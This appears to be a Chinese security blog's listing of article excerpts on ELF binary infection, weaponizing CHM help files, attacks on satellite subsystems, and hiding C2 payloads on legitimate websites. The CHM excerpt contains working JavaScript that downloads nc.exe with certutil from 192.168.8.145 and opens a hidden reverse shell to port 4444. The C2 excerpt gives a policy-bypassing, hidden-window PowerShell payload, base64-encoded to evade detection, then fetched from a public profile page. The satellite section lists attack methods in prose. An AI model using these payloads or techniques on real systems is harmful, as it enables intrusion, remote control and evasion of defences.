ELF 二进制文件感染

简介 ELF(Executable and Linkable Format)是一种用于存储和描述可执行文件、共享库和对象文件的二进制文件格式。这种格式广泛应用于各种类 UNIX 和类 UNIX 操作系统,一般格式为可执行二进制文件、共享目标文件(.o)、共享库/共享对象(.so)、内核模块(.ko)和固件(.bin,包含嵌入在 ELF 中的程序或应用程序特定的代码和数据)。 ELF 格式的主要特点如下: 结构简单:ELF 格式的基本结构包括 ELF 头、程序头表、程序段表和数据段表等。这使得 ELF 格式的结构简单易懂,可以方便地处理和分析 可移性:ELF 格式支持跨平台和跨架构的可移性。这使得 ELF 格式可以在不同的操作系统和架构上运行,并且可以方便地进行链接和共享库 灵活性:ELF 格式提供了丰富的扩展机制,可以用于支持各种特定的功能和需求。这使得 ELF 格式可以满足各种应用程序和库的需求 可扩展性:ELF 格式支持动态链接和加载,可以用于加载和链接动态库。这使得 ELF 格式可以支持动态链接和加载,并且可以方便地进行动态库的更新和维护 ELF格式的主要组成部分包括以下几部分: ELF头:ELF头包含了整个ELF文件的基本信息,如文件类型、机器架构、操作系统ABI版本、程序入口点等 程序头表:程序头表包含了每个程序段的基本信息,如段名称、段类型、段大小、段地址等。程序头表可以包含任意数量的程序头,用于描述程序中的各种段 程序段表:程序段表包含了每个程序段的基本信息,如段名称、段类型、段大小、段地址等。程序段表可以包含任意数量的程序段,用于描述程序中的各种段 数据段表:数据段表包含了每个数据段的基本信息,如段名称、段类型、段大小、段地址等。数据段表可以包含任意数量的数据段,用于描述程序中的各种数据段 ELF格式的详细信息可以参考ELF文件格式规范,如《System V Application Binary Interface》和《UNIX System V Release 4》等。 在这篇文章中,我们将了解 ELF二进制文件感染。 ELF 二进制文件感染 将恶意代码插入到 ELF 二进制文件 中通常被称为 “ELF 二进制文件感染”。高质量的…

编写恶意CHM

简介 Microsoft Compiled HTML Help,或者简称为CHM,是一种由微软开发的在线帮助文件格式,它由一组HTML页面、一个索引和其他导航工具组成。CHM文件是压缩的,并以二进制格式部署,扩展名为.chm,代表已编译的HTML。这种格式通常用于软件文档。 下面我们将介绍手动编写和使用PowerShell武器化CHM。 编写CHM 为了编写CHM,我们首先需要下载HTML Help Workshop。 安装运行后会显示空白界面。 我们需要新建一个项目,为此,点击左上方的空白文件按钮新建项目。 点击OK按钮并继续下一步后,我们会看到需要填写创建的文件名和路径,这里以桌面路径,文件命为nc.hhp为例。 点击下一步后会询问包含的文件,这里选择HTML files。 然后我们需要编写HTML文件,以nc.html为例: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Example</title> <script type="text/javascript"> function downloadAndRun() { var command = "certutil -urlcache -split -f http://192.168.8.145/nc.exe nc.exe && nc.exe -e cmd 192.168.8.145 4444"; var wsh = new ActiveXObject("WScript.Shell"); wsh.Run(command, 0, false); } </script> </head> <body…

关于卫星的黑客攻击方法(一)

简介 卫星黑客攻击是指利用网络手段对卫星或卫星通信系统进行破坏、干扰或窃取的行为。卫星黑客攻击可能会对全球的军事、政治、经济和社会造成严重的影响和威胁。卫星黑客攻击的方式有多种,例如利用卫星的漏洞或设计缺陷进行入侵、篡改或控制,或者利用卫星的信号进行拦截、伪造或干扰。 下面我们将了解卫星的各个系统,以便后续的攻击。 ADCS 卫星的ADCS(姿态确定和控制系统)是一种用于控制和维持卫星在轨道上的期望方向和位置的系统。ADCS包括传感器、执行器、控制器和算法,它们共同实现对卫星的姿态测量、姿态控制、姿态估计和姿态指令等功能。 关于针对ADCS的攻击方法,大致如下: 传感器攻击:攻击者试图操纵或欺骗用于姿态确定的传感器。例如,他们可以向传感器照射强光或激光以导致错误读数,或者使用电磁辐射干扰传感器信号。 执行器攻击:攻击者可能针对负责姿态控制的执行器。攻击者可能会尝试禁用或篡改执行器,从而阻止卫星调整其姿态或导致其偏离预定路线。 通信攻击:如果 ADCS 依赖于来自地面控制或其他来源的外部命令或数据,攻击者就可以拦截或操纵通信通道。他们可能会注入错误命令或更改发送到 ADCS 的数据,从而导致错误的姿态调整或控制。 软件攻击:ADCS 系统通常利用软件来处理传感器数据、实施控制算法和管理操作。攻击者可能会利用软件漏洞或注入恶意代码来损害 ADCS 的完整性和功能。 C&DHS 卫星的C&DHS(总线以命令和数据处理系统)是一种用于管理卫星并控制航天器的所有功能的系统。 C&DHS在普通卫星的架构如下图所示: C&DHS使用星载控制器 (OBC,On-Board Controller),该控制器采用计算平台,即微控制器和存储器,类似于地面嵌入式设备。在该系统上执行的软件称为星载软件(OBSW,On-Board Software),它实现远程控制服务器,通常基于实时操作系统(RTOS, Real-Time Operating System),类似于地面实时应用程序。OBSW的主要任务是处理TC/TM流量、提供数据存储、调度命令、执行自主操作以及更新程序代码。 关于针对C&DHS的攻击方法大致如下: 命令注入:攻击者将未经授权的命令注入系统。如果他们能够访问通信通道或利用命令接收过程中的漏洞,则可以发送恶意或未经授权的命令,从而破坏或损害卫星的运行。 数据操纵:攻击者可以瞄准数据系统并尝试操纵或破坏正在收集、处理或传输的数据。这可能会导致分析和决策的不正确,以及丧失任务目标。 软件利用:如果C&DHS系统存在软件漏洞,攻击者则可以利用这些漏洞执行未授权访问、任意代码执行或破坏系统的正常运行。这可能包括缓冲区溢出攻击、代码注入或提权。 物理攻击:在某些情况下,攻击者可能会物理篡改 C&DHS 硬件或基础设施。这可能涉及更换组件、修改电路,或引入可以拦截并修改命令、数据流的恶意设备。 TT&C TT&C子系统提供卫星(空间段)和地面设施(控制或用户段)之间的连接。TT&C功能的目的是确保卫星正确运行。作为卫星总线的一部分,无论任务类型如何,所有卫星都需要TT&C子系统。TT&C子系统有三个特定的功能: 遥测:收集、处理所有航天器子系统的健康和状态数据,并将这些数据传输到地面的控制部分。这不仅需要航天器上的遥测系统,还需要世界各地的地面站全球网络,除非卫星空间网络包括卫星间链路,可以将数据中继到指定的卫星并向下链接到适当的地面站。各个子系统发送的不同健康信息和状态信息由遥测输入接口收集,返回到C&DHS处理器,缓冲,加密,最后发送到地面站。 测距测速:通过测量卫星和地面站之间的信号往返时间和多普勒频移,计算出卫星和地面站的距离和径向速度,确定卫星的位置和运动状态。 指挥和控制:接收和处理卫星连续运行的命令,通常需要地面系统配合。虽然先进的航天器设计已经朝着“自主操作”的方向发展,许多控制功能可以在机载上实现自动化,但是在紧急情况下,依旧需要地面干预。 在处理命令时,来自命令接收器的串行命令位流由命令输入接口接收,其中相关命令被提取,然后通过串行或并行接口发送到相应的子系统,如下图所示: EPS 卫星的EPS(电力系统)是一种用于为卫星提供电能的系统,包括以下几个部分: 电源:负责将太阳能或其他能源转换为电能,如太阳能电池板、热电发电机等 。 电池:负责在卫星进入阴影区或需要额外电能时储存和释放电能,如锂离子电池、镍氢电池等 。 电力调节和分配单元(PDU):负责对卫星的输入和输出电压进行稳压、限流和切换,以及对卫星的各个分系统和有效载荷进行分配和控制 。 电力管理和控制单元(PMCU):负责对卫星的电力系统进行监测、控制和保护,以及与卫星的其他系统进行通信和协调 。 PDHS 卫星的PDHS(有效载荷数据处理系统)是一种用于处理卫星的有效载荷数据的系统,包括以下几个部分: 有效载荷数据处理单元(PDU):负责对卫星的有效载荷数据进行采集、压缩、编码、加密和存储,以及与卫星的其他系统进行通信和协调 。 有效载荷数据传输单元(PTU):负责对卫星的有效载荷数据进行调制、多路复用、放大和发送,以及与地面站进行数据交换…

使用合法网站制作C2

简介 对于攻击者而言,隐藏自己的C2是重中之重,以往都是使用合法的应用API创建自己的C2,不过我们也可以将payload托管在合法的网站上,这样在受害者主机上的通信可能会绕过防火墙。 该方法最早提出者已经无法溯源了,偶然看到null-byte网站提了一嘴,不过并没有将其用作C2,而是将其用作下载文件,C2是笔者在N年前研究的方法,可能对于现在的网络环境还能有点用。 构造Payload 以Freebuf为例,我们首先构造一条PowerShell命令: powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood' 该条PowerShell语句会使用-ep选项绕过策略,并使用/w选项隐藏窗口,使用New-Item创建一个位于用户文档下的文件。 然后我们最好将该条PowerShell语句进行Base64编码,防止检测到特殊字符: printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood'" | base64 | tr -d 'n' cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw== 最好复制一下Base64编码字符串来验证一下。 然后我们将该串Base64字符串修改到Freebuf能公开访问的页面,比如用户公开的简介中,然后用START和END包裹,用来匹配该条payload。 使用无痕模式查看是否能公开查看,以及是否能显示所有字符串。 然后我们通过在受害者主机执行PowerShell语句即可执行新建文件的操作: $wro = iwr -Uri https://www.freebuf.com/author/Snow%E7%8B%BC%E5%95%8A -UseBasicParsing; //使用Invoke-WebRequest获取指定网页并基本解析 $r = [Regex]::new("(?<=START)(.*)(?=END)"); //使用正则表达式匹配payload $m = $r.Match($wro.rawcontent); //将匹配到的payload定义一个变量…